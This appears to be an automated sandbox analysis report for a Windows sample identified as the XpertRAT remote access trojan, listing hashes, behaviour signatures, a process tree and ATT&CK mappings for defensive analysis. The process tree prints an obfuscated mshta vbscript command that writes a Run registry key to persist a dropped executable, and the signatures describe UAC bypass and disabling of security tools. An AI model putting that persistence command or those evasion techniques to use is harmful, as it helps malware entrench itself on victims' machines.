Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    30-06-2022 17:06

General

  • Target

    962d681a9f42e1cd5245ca02d7114d4f7daf496ccbf17b2b37b7a94c58199353.exe

  • Size

    792KB

  • MD5

    322b2bfde9f2f3d691b4fc1526182305

  • SHA1

    99bf7caed11dee1bf41bd039634af9d1468e8f69

  • SHA256

    962d681a9f42e1cd5245ca02d7114d4f7daf496ccbf17b2b37b7a94c58199353

  • SHA512

    6fb915635d37375fd08aa854fb5a1e85ca9bdb6b7a7f5972bf0ea8e677dd24f6128003635626bb0036ef62f04afae7296230cac38adea880a7fa537d694cb132

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 1 IoCs
  • XpertRAT

    XpertRAT is a remote access trojan with various capabilities.

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Windows security modification 2 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\962d681a9f42e1cd5245ca02d7114d4f7daf496ccbf17b2b37b7a94c58199353.exe
    "C:\Users\Admin\AppData\Local\Temp\962d681a9f42e1cd5245ca02d7114d4f7daf496ccbf17b2b37b7a94c58199353.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\:\Run\FORRENT"" : myKey = ""HKCU\Software\Microsoft\Windows\X\Run\NOME"" : myKey=replace(myKey,"":"",""CurrentVersion"") : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe"",""REG_SZ"" : window.close")
      2⤵
        PID:3344
      • C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe
        "C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4924
        • C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe
          "C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe"
          3⤵
          • UAC bypass
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Checks whether UAC is enabled
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2636
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe
            4⤵
            • Adds policy Run key to start application
            • Adds Run key to start application
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2976

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    2
    T1060

    Privilege Escalation

    Bypass User Account Control

    1
    T1088

    Defense Evasion

    Bypass User Account Control

    1
    T1088

    Disabling Security Tools

    3
    T1089

    Modify Registry

    6
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    3
    T1082

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe
      Filesize

      792KB

      MD5

      1bb033c5e2b4a4bb05987306d78e0438

      SHA1

      4208031de927ba66e730a55236ec3750ad59c589

      SHA256

      5fb861fc7742dfb97b04558d23ab4c260eaf2c1178d811a429c86e18f38edb28

      SHA512

      c54635bb50a54b3d3bca430fc39431041a05484b98a0bb49e598a6fac8bc83000568496f09f6c0721a9690c51a4621df1eaaf83e94eaf06eeedfe289d3bfbadd

    • C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe
      Filesize

      792KB

      MD5

      1bb033c5e2b4a4bb05987306d78e0438

      SHA1

      4208031de927ba66e730a55236ec3750ad59c589

      SHA256

      5fb861fc7742dfb97b04558d23ab4c260eaf2c1178d811a429c86e18f38edb28

      SHA512

      c54635bb50a54b3d3bca430fc39431041a05484b98a0bb49e598a6fac8bc83000568496f09f6c0721a9690c51a4621df1eaaf83e94eaf06eeedfe289d3bfbadd

    • C:\Users\Admin\AppData\Local\Temp\Nonpresidential4.exe
      Filesize

      792KB

      MD5

      1bb033c5e2b4a4bb05987306d78e0438

      SHA1

      4208031de927ba66e730a55236ec3750ad59c589

      SHA256

      5fb861fc7742dfb97b04558d23ab4c260eaf2c1178d811a429c86e18f38edb28

      SHA512

      c54635bb50a54b3d3bca430fc39431041a05484b98a0bb49e598a6fac8bc83000568496f09f6c0721a9690c51a4621df1eaaf83e94eaf06eeedfe289d3bfbadd

    • memory/2244-137-0x00007FFE74910000-0x00007FFE74B05000-memory.dmp
      Filesize

      2.0MB

    • memory/2244-138-0x00000000772B0000-0x0000000077453000-memory.dmp
      Filesize

      1.6MB

    • memory/2636-140-0x0000000000000000-mapping.dmp
    • memory/2636-141-0x0000000000400000-0x000000000042C000-memory.dmp
      Filesize

      176KB

    • memory/2636-147-0x0000000000400000-0x000000000042C000-memory.dmp
      Filesize

      176KB

    • memory/2636-149-0x0000000000400000-0x000000000042C000-memory.dmp
      Filesize

      176KB

    • memory/3344-132-0x0000000000000000-mapping.dmp
    • memory/4924-133-0x0000000000000000-mapping.dmp
    • memory/4924-144-0x00007FFE74910000-0x00007FFE74B05000-memory.dmp
      Filesize

      2.0MB

    • memory/4924-145-0x00000000772B0000-0x0000000077453000-memory.dmp
      Filesize

      1.6MB